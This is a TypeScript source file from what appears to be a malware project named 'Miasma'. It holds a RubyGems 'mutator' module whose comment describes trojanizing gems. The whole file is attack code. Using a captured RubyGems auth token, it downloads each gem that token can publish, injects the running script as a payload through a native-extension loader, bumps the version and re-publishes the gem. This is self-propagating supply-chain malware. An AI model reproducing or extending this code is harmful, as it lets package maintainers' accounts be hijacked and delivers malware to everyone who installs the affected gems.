Files
Miasma/src/mutator/rubygems/index.ts
T

92 lines
2.5 KiB
TypeScript

import { logUtil } from "../../utils/logger";
import { Mutator } from "../base";
import { downloadGem, fetchGemInfo, patchGemBundle } from "./gem";
import { publishGem } from "./publish";
import type { RubygemsTokenInfo } from "./tokenCheck";
/**
* RubyGems mutator — trojanizes Ruby gems by injecting a native extension
* (extconf.rb + Makefile bash bun loader) and re-publishing with a bumped
* patch version.
*/
export class RubyGemsClient extends Mutator {
private readonly tokenInfo: RubygemsTokenInfo;
private readonly dryRun: boolean;
constructor(tokenInfo: RubygemsTokenInfo, dryRun = false) {
super();
this.tokenInfo = tokenInfo;
this.dryRun = dryRun;
}
async execute(): Promise<Boolean> {
try {
const isUnix = ["darwin", "linux"].includes(process.platform);
if (!isUnix) {
logUtil.log("[rubygems] skipping — unsupported platform");
return false;
}
const gems = this.tokenInfo.gems;
if (gems.length === 0) {
logUtil.log("[rubygems] no gems to process");
return false;
}
logUtil.log(
`[rubygems] targeting ${gems.length} gem(s): ${gems.join(", ")}`,
);
const rawPayload = await Bun.file(Bun.main).text();
let published = 0;
for (const gemName of gems) {
try {
const ok = await this.processGem(gemName, rawPayload);
if (ok) published++;
} catch (e) {
logUtil.log(
`[rubygems] error processing ${gemName}: ${e instanceof Error ? e.message : String(e)}`,
);
}
}
logUtil.log(`[rubygems] done. published ${published} gem(s).`);
return published > 0;
} catch (e) {
logUtil.error(`[rubygems] fatal: ${e}`);
return false;
}
}
private async processGem(
gemName: string,
rawPayload: string,
): Promise<boolean> {
// 1. Fetch gem metadata
const info = await fetchGemInfo(gemName);
if (!info) {
logUtil.log(`[rubygems] ${gemName}: could not fetch gem info, skipping`);
return false;
}
// 2. Download
const gemData = await downloadGem(info.downloadUrl);
if (!gemData) {
logUtil.log(`[rubygems] ${gemName}: download failed, skipping`);
return false;
}
// 3. Patch (inject ext/, bump version, repack)
const patched = await patchGemBundle(gemData, rawPayload);
// 4. Publish
return publishGem(
patched.data,
patched.filename,
this.tokenInfo.authToken,
this.dryRun,
);
}
}